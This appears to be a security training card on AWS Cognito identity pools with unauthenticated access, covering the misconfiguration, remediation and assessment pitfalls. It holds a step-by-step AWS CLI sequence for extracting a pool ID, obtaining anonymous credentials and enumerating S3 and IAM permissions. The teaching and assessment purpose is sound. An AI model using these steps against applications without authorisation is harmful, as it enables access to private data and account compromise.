AWS Cognito Unauthenticated Identity Pool Exploitation: Anonymous Credential Escalation
Théorie
Why This Matters
In 2022, Andres Riancho and multiple independent researchers published findings showing that hundreds of mobile and web applications had configured AWS Cognito identity pools with unauthenticated access enabled and assigned IAM roles with permissions to access S3 buckets, DynamoDB tables, and API Gateway endpoints. Because unauthenticated Cognito credentials are obtainable by any anonymous caller — no account, no token, no prior authentication — these misconfigurations constitute effectively public access to AWS resources that their owners believed were private. Applications that used Cognito for "anonymous session" functionality to track app launches or deliver personalised content frequently granted far more than read access to telemetry data, exposing customer PII stored in DynamoDB.
Core Concept
Amazon Cognito is the AWS identity service for web and mobile applications. It has two components: User Pools (a user directory providing authentication) and Identity Pools (also called Federated Identities, which exchange identity tokens for temporary AWS credentials). An Identity Pool can be configured to allow unauthenticated identities — callers who have not authenticated through any identity provider. When unauthenticated access is enabled, Cognito will vend temporary AWS credentials via STS for any caller who presents only the identity pool ID, with no authentication whatsoever.
The credentials are scoped to an unauthenticated IAM role configured in the identity pool. This role should have extremely limited permissions — typically only the minimum required for anonymous app functionality (e.g., read access to a specific public S3 prefix). Misconfigurations arise when the unauthenticated role is copy-pasted from the authenticated role, or when a developer adds permissions to the unauthenticated role to "fix" a bug without recognising the security implication.
The confused deputy problem is adjacent: a legitimate application may intend only its own users to obtain credentials, but because the identity pool ID is typically embedded in the mobile app binary or JavaScript source, any attacker who extracts the pool ID can call GetId and GetCredentialsForIdentity from anywhere. The attack requires zero prior access to the AWS account.
Technical Deep-Dive
# Step 1: Extract the Cognito Identity Pool ID from the target application
# Common locations: app binary strings, JavaScript bundle, AndroidManifest.xml,
# Info.plist, or API responses. Pool IDs follow the pattern: REGION:UUID
POOL_ID="us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
REGION="us-east-1"
# Step 2: Obtain an unauthenticated Cognito identity ID (no auth required)
IDENTITY_ID=$(aws cognito-identity get-id
--identity-pool-id "$POOL_ID"
--region "$REGION"
--query 'IdentityId' --output text)
echo "Identity ID: $IDENTITY_ID"
# Step 3: Exchange the identity ID for temporary AWS credentials
CREDS=$(aws cognito-identity get-credentials-for-identity
--identity-id "$IDENTITY_ID"
--region "$REGION")
echo "$CREDS" | python3 -m json.tool
# Step 4: Export credentials and enumerate accessible resources
export AWS_ACCESS_KEY_ID=$(echo "$CREDS" | python3 -c
"import sys,json; c=json.load(sys.stdin)['Credentials']; print(c['AccessKeyId'])")
export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS" | python3 -c
"import sys,json; c=json.load(sys.stdin)['Credentials']; print(c['SecretKey'])")
export AWS_SESSION_TOKEN=$(echo "$CREDS" | python3 -c
"import sys,json; c=json.load(sys.stdin)['Credentials']; print(c['SessionToken'])")
# Step 5: Identify the unauthenticated IAM role to understand permissions
aws sts get-caller-identity
# Step 6: Enumerate accessible S3 buckets and objects
aws s3 ls
aws s3 ls s3://discovered-bucket-name/
# Audit: check identity pool configuration (requires AWS admin or Cognito read access)
aws cognito-identity describe-identity-pool
--identity-pool-id "$POOL_ID"
--query '{AllowUnauth:AllowUnauthenticatedIdentities,Roles:SupportedLoginProviders}'
Security Assessment Methodology
- Discover Cognito pool IDs in the target application. Decompile APKs with
apktool, extract iOS apps, or search JavaScript bundles for the pattern[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}. Tools likeMobSFflag Cognito pool IDs automatically during static analysis. - Attempt unauthenticated credential retrieval. Call
GetIdfollowed byGetCredentialsForIdentitywithout any login tokens. A successful credential response confirms unauthenticated access is enabled. - Identify the unauthenticated role. Call
sts:GetCallerIdentitywith the obtained credentials. The ARN reveals the role name. Then useaws iam get-roleandaws iam list-attached-role-policiesto enumerate the role's permissions. - Enumerate accessible resources. Systematically call list/describe operations for S3, DynamoDB, API Gateway, SQS, and SNS. Document every resource accessible without authentication.
- Check for privilege escalation paths. Does the unauthenticated role have
iam:*,lambda:InvokeFunction, orsts:AssumeRole? Any of these can lead to full account compromise from zero authentication. - Remediate: If unauthenticated access is not required, disable it in the identity pool settings. If required, audit the unauthenticated IAM role permissions — use
aws iam simulate-principal-policyto verify only the minimum necessary actions are allowed. Apply resource-based conditions limiting access to specific ARNs rather than wildcard resources.
Common Assessment Errors
- Assuming the identity pool ID is a secret. The pool ID is not a credential — it is embedded in every copy of the application binary worldwide. Treating it as a secret and omitting assessment of unauthenticated access because "the pool ID isn't public" is a false negative.
- Stopping after confirming unauthenticated access exists. The finding severity depends entirely on what the unauthenticated role can do. Always enumerate permissions fully — an unauthenticated role with only
s3:GetObjecton a single public bucket is very different from one withs3:*on all buckets. - Missing the authenticated role for comparison. Some misconfigurations arise when the unauthenticated and authenticated roles are identical. Always retrieve both role ARNs from the identity pool description and compare their policies.
- Not testing credential expiry. Cognito credentials are short-lived (typically 1 hour). If your enumeration script runs longer than the credential lifetime without refreshing, you will receive misleading access-denied errors. Implement credential refresh in longer assessments.
- Ignoring the Cognito user pool attack surface. Unauthenticated identity pools are one attack vector. Separately, Cognito User Pools may allow self-registration, password reset enumeration, or lack MFA enforcement. These are distinct findings that require separate assessment steps.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0053 | Knowledge of security risk management processes | Assessing the risk of anonymous credential vending: the combination of zero-auth access and excessive IAM permissions creates critical-severity exposure |
| K0167 | Knowledge of system administration, network, and OS hardening techniques | Hardening Cognito identity pools by disabling unauthenticated access and scoping unauthenticated IAM roles to minimum required permissions |
| S0073 | Skill in conducting vulnerability scans and recognizing vulnerabilities | Using GetId and GetCredentialsForIdentity to confirm unauthenticated access and enumerating granted permissions via iam simulate-principal-policy |
| T0144 | Conduct penetration testing as required for new or updated applications | Extracting Cognito pool IDs from application binaries and testing unauthenticated credential retrieval as part of mobile and web application penetration tests |
| T0395 | Write code to address security vulnerabilities | Writing least-privilege IAM role policies for unauthenticated Cognito identities, scoped to specific resource ARNs with deny-override conditions |
Further Reading
- AWS Cognito Security Best Practices — AWS Documentation (docs.aws.amazon.com/cognito)
- Unauthenticated AWS Cognito Attack Surface — Andres Riancho, research blog post
- Mobile Application Security Testing Guide (MASTG) — OWASP, Cloud Storage and Identity sections (owasp.org/owasp-mastg)
Challenge Lab
Renforcez votre apprentissage avec un défi généré basé sur la compétence de cette carte.